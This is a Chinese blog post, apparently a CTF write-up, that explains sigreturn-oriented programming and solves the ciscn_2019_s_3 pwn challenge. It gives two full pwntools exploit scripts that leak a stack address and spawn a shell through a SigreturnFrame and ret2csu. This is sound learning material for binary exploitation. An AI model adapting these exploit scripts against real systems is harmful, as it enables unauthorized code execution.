SROP

161 篇文章 9 订阅
161 篇文章 9 订阅

SROP

SROP可以在gadgets很少的时候的栈利用里使用,近期学习linux后,明白了程序进行系统调用时,状态会从用户态切换到内核态。而切换的实质是将用户态的寄存器保存。而返回的时候,再重新恢复用户态的寄存器。系统调用signreturn,是内核态恢复到用户态;它的具体操作是从用户的栈中弹出寄存器的值。因此,如果栈能被我们控制,然后我们能够构造signreturn的系统调用,那么就能完成利用。我们的目的就是可以借助signreturn来控制全部的寄存器。

例题ciscn_2019_s_3

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,存在一个栈溢出漏洞。

 

这里,正好我们能控制rax为0xF,x64下的linux的signreturn系统调用号正好为0xF。于是,我们便可以利用SROP来达到利用。

完整的exp

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
sh = process('./ciscn_s_3')
#sh = remote('node3.buuoj.cn',26491)
csu_call = 0x0000000000400580
csu_pop = 0x000000000040059A
mov_rax_sigreturn = 0x00000000004004DA
syscall = 0x0000000000400517
vuln = 0x00000000004004ED
pop_rdi = 0x00000000004005a3
payload = 'a'*0x10 + p64(vuln)
sh.send(payload)
sh.recv(0x20)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
binsh_addr = stack_addr - 0x118
print 'binsh_addr=',hex(binsh_addr)
print 'stack_addr=',hex(stack_addr)

frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = binsh_addr
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall

payload = '/bin/sh'.ljust(0x10,'\x00') + p64(mov_rax_sigreturn) + p64(syscall) + str(frame)
sh.send(payload)

sh.interactive()

 

另外一种方法是ret2csu,构造execve的系统调用。这里正好rax能够控制为0x3B,x64下对应的系统调用为execve。

于是解法二完整的exp为

#coding:utf8
from pwn import *

#context.log_level = 'debug'
#sh = process('./ciscn_s_3')
sh = remote('node3.buuoj.cn',26491)
csu_call = 0x0000000000400580
csu_pop = 0x000000000040059A
mov_rax_execvecall = 0x00000000004004E2
syscall = 0x0000000000400517
vuln = 0x00000000004004ED
pop_rdi = 0x00000000004005a3
payload = 'a'*0x10 + p64(vuln)
sh.send(payload)
sh.recv(0x20)
stack_addr = u64(sh.recv(6).ljust(8,'\x00'))
binsh_addr = stack_addr - 0x118
print 'binsh_addr=',hex(binsh_addr)
print 'stack_addr=',hex(stack_addr)
payload = '/bin/sh'.ljust(0x10,'\x00') + p64(csu_pop)
payload += p64(0) #rbx
payload += p64(1) #rbp
#该存存放syscall指令的地址
payload += p64(stack_addr - 0xC0) #r12
payload += p64(0)*3
payload += p64(mov_rax_execvecall)
payload += p64(csu_call)
#r12指向这里的rop
payload += p64(pop_rdi) + p64(binsh_addr)
payload += p64(syscall)
sh.send(payload)

sh.interactive()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值